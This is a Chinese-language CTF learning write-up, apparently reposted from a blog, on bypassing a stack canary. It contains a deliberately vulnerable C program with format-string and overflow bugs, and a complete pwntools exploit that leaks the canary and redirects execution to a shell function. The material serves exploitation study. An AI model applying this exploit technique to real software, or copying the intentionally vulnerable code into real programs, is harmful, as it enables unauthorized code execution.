pwn学习-canary

CTF-WIKI-pwn-cannary 漏洞复现

 

Canary 实现原理 

开启 Canary 保护的 stack 结构大概如下

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译为 32bit 程序,开启 NX,ASLR,Canary 保护

首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后,计算好偏移,将 Canary 填入到相应的溢出位置,实现 Ret 到 getshell 函数中

使用GDB调试,输入100个 'A'。

定位到100个A在堆栈里的位置,0x0a为100个‘A’后的换行符。(为明白此折腾了基础不牢固的我好久。)

其中2处为canary,canary为4个字节,并且最后一个字节为0x00,0x0a覆盖了0x00,所以得到的cannary值为 0xfc2a1c。为此这是第一步。

后续2处是函数返回地址,数出与canary相差12个字节,容易写出shellcode.

下面会对python脚本pwntools每一步给出具体解释。

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2'#全局系统自动设置,为官方推荐设置,ex2为文件名称。
#context.log_level = 'debug'#debug模式下才开启
io = process('./ex2') #本地连接到ex2

get_shell = ELF("./ex2").sym["getshell"] #由于源码里有getshell函数,所以直接可以使用ELF模块找到getshell函数地址。

io.recvuntil("Hello Hacker!\n")#接受传来的第一部分字符

# leak Canary
payload = "A"*100 
io.sendline(payload) #传输100个A

io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa #因为cannary最后一位字节为00被0x0a覆盖,所以减去0x0a
log.info("Canary:"+hex(Canary))#日志记录下canary

# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)#发送最后的payload
io.send(payload)

io.recv()

io.interactive()

猜你喜欢

转载自blog.csdn.net/qq_38025365/article/details/87953579
今日推荐